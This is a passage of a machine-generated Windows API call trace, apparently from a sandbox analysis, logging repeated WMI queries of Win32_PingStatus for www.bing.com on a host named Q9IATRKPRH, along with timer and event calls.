pVal=0x59fe860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27554f4*=8, plFlavor=0x27554f8*=64 | out: pVal=0x59fe860*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x27554f4*=8, plFlavor=0x27554f8*=64) returned 0x0 [0127.594] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.594] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.595] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0127.595] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0127.595] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.595] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0127.595] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0127.595] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.595] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe748*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe73c | out: pNames=0x59fe73c*="\x01ƀ\x04") returned 0x0 [0127.596] SafeArrayGetDim (psa=0x5cd33b8) returned 0x1 [0127.596] SafeArrayGetDim (psa=0x5cd33b8) returned 0x1 [0127.596] SafeArrayGetLBound (in: psa=0x5cd33b8, nDim=0x1, plLbound=0x59fe5d4 | out: plLbound=0x59fe5d4) returned 0x0 [0127.596] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.596] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.596] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.596] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.596] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.596] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.596] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.596] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.596] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.596] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.596] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.596] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.596] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.596] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.596] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.596] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.596] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.597] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.597] SysStringByteLen (bstr="__PATH") returned 0xc [0127.597] SysStringByteLen (bstr="__PATH") returned 0xc [0127.597] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2755b90*=0, plFlavor=0x2755b94*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2755b90*=3, plFlavor=0x2755b94*=64) returned 0x0 [0127.597] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2755bc4*=0, plFlavor=0x2755bc8*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2755bc4*=8, plFlavor=0x2755bc8*=64) returned 0x0 [0127.597] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.597] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.597] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2755c1c*=0, plFlavor=0x2755c20*=0 | out: pVal=0x59fe738*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2755c1c*=8, plFlavor=0x2755c20*=64) returned 0x0 [0127.598] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DYNASTY", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2755c44*=0, plFlavor=0x2755c48*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2755c44*=8, plFlavor=0x2755c48*=64) returned 0x0 [0127.598] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.598] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.598] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__RELPATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2755c9c*=0, plFlavor=0x2755ca0*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2755c9c*=8, plFlavor=0x2755ca0*=64) returned 0x0 [0127.598] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0127.598] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0127.598] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2755e74*=0, plFlavor=0x2755e78*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2755e74*=3, plFlavor=0x2755e78*=64) returned 0x0 [0127.598] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DERIVATION", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2755ea8*=0, plFlavor=0x2755eac*=0 | out: pVal=0x59fe738*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd3388*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6118, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2755ea8*=8200, plFlavor=0x2755eac*=64) returned 0x0 [0127.599] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2755edc*=0, plFlavor=0x2755ee0*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2755edc*=8, plFlavor=0x2755ee0*=64) returned 0x0 [0127.599] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.599] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.599] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2755f28*=0, plFlavor=0x2755f2c*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2755f28*=8, plFlavor=0x2755f2c*=64) returned 0x0 [0127.599] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.599] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.599] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2755f74*=0, plFlavor=0x2755f78*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2755f74*=8, plFlavor=0x2755f78*=64) returned 0x0 [0127.599] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0127.599] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0127.599] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe77c | out: puCount=0x59fe77c*=0x2) returned 0x0 [0127.599] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0x0, pszText=0x0 | out: puBuffLength=0x59fe778*=0xf, pszText=0x0) returned 0x0 [0127.599] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe778*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.600] IWbemClassObject:Get (in: This=0x5ce4808, wszName="Address", lFlags=0, pVal=0x59fe778*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27561a8*=0, plFlavor=0x27561ac*=0 | out: pVal=0x59fe778*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x27561a8*=8, plFlavor=0x27561ac*=0) returned 0x0 [0127.600] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0127.600] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0127.600] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0127.600] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0127.600] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.600] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0127.600] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0127.600] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.600] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe770 | out: pNames=0x59fe770*="\x01ƀ\x04") returned 0x0 [0127.600] SafeArrayGetDim (psa=0x5cd3298) returned 0x1 [0127.600] SafeArrayGetDim (psa=0x5cd3298) returned 0x1 [0127.600] SafeArrayGetLBound (in: psa=0x5cd3298, nDim=0x1, plLbound=0x59fe608 | out: plLbound=0x59fe608) returned 0x0 [0127.600] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.600] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.601] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.601] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.601] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.601] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.601] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.601] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.601] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.601] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.601] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.601] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.601] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.601] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.601] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.601] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.601] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.601] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.601] SysStringByteLen (bstr="__PATH") returned 0xc [0127.601] SysStringByteLen (bstr="__PATH") returned 0xc [0127.601] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2756578*=0, plFlavor=0x275657c*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2756578*=3, plFlavor=0x275657c*=64) returned 0x0 [0127.602] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27565ac*=0, plFlavor=0x27565b0*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x27565ac*=8, plFlavor=0x27565b0*=64) returned 0x0 [0127.602] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.602] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.602] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2756604*=0, plFlavor=0x2756608*=0 | out: pVal=0x59fe76c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2756604*=8, plFlavor=0x2756608*=64) returned 0x0 [0127.602] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DYNASTY", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x275662c*=0, plFlavor=0x2756630*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x275662c*=8, plFlavor=0x2756630*=64) returned 0x0 [0127.602] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.602] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.602] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__RELPATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2756684*=0, plFlavor=0x2756688*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2756684*=8, plFlavor=0x2756688*=64) returned 0x0 [0127.602] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0127.602] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0127.603] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x275685c*=0, plFlavor=0x2756860*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x275685c*=3, plFlavor=0x2756860*=64) returned 0x0 [0127.603] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DERIVATION", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2756890*=0, plFlavor=0x2756894*=0 | out: pVal=0x59fe76c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd32f8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6118, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2756890*=8200, plFlavor=0x2756894*=64) returned 0x0 [0127.603] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27568c4*=0, plFlavor=0x27568c8*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x27568c4*=8, plFlavor=0x27568c8*=64) returned 0x0 [0127.603] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.603] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.603] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2756910*=0, plFlavor=0x2756914*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2756910*=8, plFlavor=0x2756914*=64) returned 0x0 [0127.603] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.603] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.604] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x275695c*=0, plFlavor=0x2756960*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x275695c*=8, plFlavor=0x2756960*=64) returned 0x0 [0127.604] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0127.604] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0127.604] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe7b0 | out: puCount=0x59fe7b0*=0x2) returned 0x0 [0127.604] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0x0, pszText=0x0 | out: puBuffLength=0x59fe7ac*=0xf, pszText=0x0) returned 0x0 [0127.604] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe7ac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.604] IWbemClassObject:Get (in: This=0x5ce4808, wszName="Address", lFlags=0, pVal=0x59fe7ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2756b90*=0, plFlavor=0x2756b94*=0 | out: pVal=0x59fe7ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x2756b90*=8, plFlavor=0x2756b94*=0) returned 0x0 [0127.604] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0127.604] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0127.604] IWbemClassObject:Get (in: This=0x5ce4808, wszName="Address", lFlags=0, pVal=0x59fe860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2756b90*=8, plFlavor=0x2756b94*=0 | out: pVal=0x59fe860*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x2756b90*=8, plFlavor=0x2756b94*=0) returned 0x0 [0127.604] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0127.604] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0127.611] QueryPerformanceCounter (in: lpPerformanceCount=0x59fe670 | out: lpPerformanceCount=0x59fe670*=1176858842713) returned 1 [0128.065] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x520 [0128.201] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe3c8 | out: puCount=0x59fe3c8*=0x2) returned 0x0 [0128.201] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0x0, pszText=0x0 | out: puBuffLength=0x59fe3c4*=0xf, pszText=0x0) returned 0x0 [0128.201] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe3c4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.202] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe3c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27731c4*=0, plFlavor=0x27731c8*=0 | out: pVal=0x59fe3c4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x27731c4*=8, plFlavor=0x27731c8*=64) returned 0x0 [0128.202] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.202] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.202] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe3cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27731c4*=8, plFlavor=0x27731c8*=64 | out: pVal=0x59fe3cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x27731c4*=8, plFlavor=0x27731c8*=64) returned 0x0 [0128.202] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.202] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.202] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe3c8 | out: puCount=0x59fe3c8*=0x2) returned 0x0 [0128.202] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0x0, pszText=0x0 | out: puBuffLength=0x59fe3c4*=0xf, pszText=0x0) returned 0x0 [0128.202] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe3c4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.202] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe3c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2773260*=0, plFlavor=0x2773264*=0 | out: pVal=0x59fe3c4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2773260*=8, plFlavor=0x2773264*=64) returned 0x0 [0128.202] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.202] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.202] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe3cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2773260*=8, plFlavor=0x2773264*=64 | out: pVal=0x59fe3cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2773260*=8, plFlavor=0x2773264*=64) returned 0x0 [0128.202] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.202] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.203] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe3c8 | out: puCount=0x59fe3c8*=0x2) returned 0x0 [0128.203] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0x0, pszText=0x0 | out: puBuffLength=0x59fe3c4*=0xf, pszText=0x0) returned 0x0 [0128.203] 